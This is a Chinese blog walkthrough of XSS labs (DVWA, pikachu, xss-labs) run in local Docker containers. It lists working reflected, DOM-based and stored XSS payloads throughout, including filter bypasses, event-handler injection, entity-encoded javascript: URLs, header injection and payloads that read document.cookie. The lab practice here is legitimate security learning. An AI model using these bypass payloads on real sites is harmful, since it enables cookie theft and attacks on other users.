XSS基础----DVWA,pikachu,xss-labs

XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全领域最常见、出现频率最高、危害也非常大的漏洞之一,即使到了 2026 年,它仍然是 OWASP Top 10 榜单的常客。

攻击者把恶意 JavaScript 代码注入到网页里,当其他用户访问这个页面时,恶意代码就在受害者的浏览器里被执行了。

XSS 的三大主流分类(2025-2026 年仍然是这三类):

类型 英文名称 是否持久化 执行时机 典型场景 危害程度
反射型 Reflected XSS 否 用户必须点击攻击者构造的恶意链接 搜索框、错误页面、URL 参数带内容 ★★★★
DOM型 DOM-based XSS 否 浏览器端 JavaScript 处理不当 location.hash、innerHTML、document.write 等危险操作 ★★★★
存储型 Stored XSS 是 只要有人访问被污染的页面 论坛帖子、商品评论、个人签名、客服留言 ★★★★★

一、XSS靶场

反射型

1.DVWA

1.1 low

  • 目前显示的界面如下图所示:
    1

  • 先随意输入一些内容试试:输入"curme"发现在界面上会出现输入的内容
    2

  • 输入恶意代码:<script>alert(1)</script>
    3

  • 输入恶意代码:<script>alert(document.cookie)</script>
    4

1.2 medium

  • 当我输入<script>alert(1)</script>
    11
    对关键词有过滤

  • 输入:<scr<script>ipt>alert(1)</script>或者<Script>alert(1)</Script>
    3

1.3 high

  • 这个难度下,替换了所有的<script>标签,因此考虑使用触发事件:
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    6

  • <img src=x onerror=alert(document.cookie)>或<svg onload=alert(document.cookie)>
    7

2.pikachu

2.1 反射型GET

15
如上图,输入恶意代码,发现有长度显示,于是修改maxlength参数为200.

之后就可以输入恶意代码:<script>alert(1)</script>,显示如下:
16

2.2 反射型POST

17
先登录admin / 123456,登陆之后如下:
18

输入123,抓包如下:

POST /pikachu/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: 192.168.103.130:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://192.168.103.130:8082
Connection: keep-alive
Referer: http://192.168.103.130:8082/pikachu/vul/xss/xsspost/xss_reflected_post.php
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=663b23ae4a67f2b75215f8f71a31ac26
Upgrade-Insecure-Requests: 1
Priority: u=0, i

message=123&submit=submit

界面显示如下:
19

在POST数据包的message中加入恶意代码如下:<script>alert(1)</script>,显示如下:
20

(其实不通过抓包也能实现。)

DOM型

1.DVWA

1.1 low

  • 随便选择一个,观察url发现是通过参数default传递的
    5

  • 输入恶意代码:
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(1)</script>
    6

  • 输入恶意代码:
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
    7

1.2 medium

  • 主要还是一个过滤:考虑不使用带有<script的语句
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<img src='' onerror=javascript:alert(1)>
    6

1.3 high

  • 服务器端已经做的无懈可击,但是在客户端还是可以通过锚点#来加入恶意代码。
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=English #<script>alert(1)</script>

  • 客户端只是将English提交给了服务器,服务器检查后发现没有问题,于是客户端将整个English #<script>alert(1)</script>写入了DOM树,从而攻击就发生了。

2.pikachu

2.1 DOM型xss

通过Inspector得知,在click上的函数是domxss()。然后在Debugger中搜索domxss,可以得知domxss()函数如下:

function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}

因此使用恶意代码为:'></a> <img src=x onerror=alert(1)> <a href='
显示如下:
12

2.2 DOM型xss-x

13

通过Inspector得知,在上图中的链接有一个click事件,使用了domxss()函数。通过在Debugger中搜索domxss可以得知,domxss()函数如下:

function domxss(){
    var str = window.location.search;
    var txss = decodeURIComponent(str.split("text=")[1]);
    var xss = txss.replace(/\+/g,' ');
//  alert(xss);

    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

因此使用恶意代码为:'></a> <iframe src=x onload=alert(1)></iframe> <a href='
显示如下:
14

存储型

1.DVWA

1.1 low

  • 通过随意输入可以发现,每次刷新页面,都会再次显示曾经输入的内容
    8

  • 输入恶意代码:
    9
    这样一来每次刷新页面都会显示:
    6

  • 输入恶意代码:
    10
    这样一来每次刷新页面都会显示:
    7

1.2 medium

  • 在Name中输入:<ScRipT>alert(1)</ScRipT>
    (在Name框中可能会出现无法输入这么长的字符串的问题,直接在界面源码上将输入该框的字符串最大设置为100。)
    这样一来,每次刷新都会出现
    6
    在消息框里面输入不成功是因为代码中使用了strip_tags()函数,该函数会剥离字符串中所有的 HTML、XML 以及 PHP 标签。

1.3 high

  • 这里主要的问题是:只使用了黑名单,只是过滤了<script。对于html事件完全没有过滤。

  • 在Name框中输入:<svg onload=alert(1)>或<img src=x onerror=alert(1)>
    6

2.pikachu

21
如上图,通过Inspector可以看出输入的内容显示的地方,可以使用如下的恶意代码:

</p> <img src=x onerror=alert(1)> <p>

每次刷新网页都会出现如下界面:
22

二、XSS检测工具

  • XSSER

  • XSSSTRIKE

三、xss-labs闯关

ascii

level 1

通过GET传递参数

http://192.168.103.130:9000/xss-labs/level1.php?name=<script>alert(1)</script>

恶意代码:<script>alert(1)</script>

level 2

搜索参数嵌入了html的input中。
恶意代码:"> <img src=x onerror=alert(1)> <img scr="

level 3

恶意代码:' onfocus=alert(1) '

level 4

恶意代码:' onfocus=alert(1) '

level 5

恶意代码:"> <a href="javascript:alert(1)">click</a> <img src="

level 6

恶意代码:"> <ScRIpt> alert(1) </ScRIpt> <img src="

level 7

恶意代码:" OonNOnfocus=alert(1) > <img src="

level 8

恶意代码:javasc&#114;ipt:alert(1)

level 9

恶意代码:javasc&#114;ipt:alert('http://www.baidu.com')
恶意代码:javasc&#114;ipt:alert(1)//http://www.baidu.com

level 10

恶意代码:" type="text" onfocus=alert(1) "

http://192.168.103.130:9000/xss-labs/level10.php?keyword=well done!&t_sort=" type="text" onfocus=alert(1) "

level 11

恶意代码:" type="button" onfocus="alert(1)
在GET请求里面将Referer改成:

" type="button" onfocus="alert(1)

level 12

恶意代码:" type="button" onfocus="alert(1)
在GET请求里面将User-Agent改成:

" type="button" onfocus="alert(1)

level 13

恶意代码:" type="button" onfocus="alert(1)

Cookie: user=" type="button" onfocus="alert(1)

level 14

这关略过,这关的网站已经挂了。

level 15

恶意代码:

http://192.168.103.130:9000/xss-labs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

恶意代码:<img%0dsrc=x%0donerror=alert(1)

level 17

略

level 18

恶意代码:%20onmouseover=alert(1)%20width=200%20height=200%20style=background:red;display:block;

level 19

略

level 20

略

通过这 20 关,已经走过了 XSS 发展的缩影:

Level 1-10:基础过滤(大小写、双写、事件、伪协议)。

Level 11-13:HTTP 头部注入(Referer, Cookie, User-Agent)。

Level 14-16:前端框架注入 (AngularJS) 和 字符编码绕过。

Level 17-20:插件注入 (Flash)。


硬件及软件说明:

I.硬件(电脑)

Apple Mac mini M4 (24G)

II.软件(vmware虚拟机)

  • ubuntu作为靶机
    • IP: 192.168.103.130
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作为攻击机
    • IP: 192.168.103.128
    • arm64
    • Kali GNU/Linux Rolling
    • 浏览器:Chromium 和 Firefox

ubuntu中安装docker靶场:kaakaww/dvwa-docker:latest
ubuntu中安装docker靶场:homins/pikachu:latest
ubuntu中安装docker靶场:hominsu/xss-labs:latest

# 拉取docker镜像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
sudo docker pull hominsu/xss-labs

# 为镜像创建容器,并运行
## DVWA 端口设为 8090
## pikachu 端口设为 8082
## xss-labs 端口设为 9000
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
sudo docker run -dt --name xss-labs -p 9000:80 hominsu/xss-labs

📌 不一定对,如有错误,欢迎指出🙂。

posted on 2026-02-25 22:10  curme_miller  阅读(134)  评论(0)    收藏  举报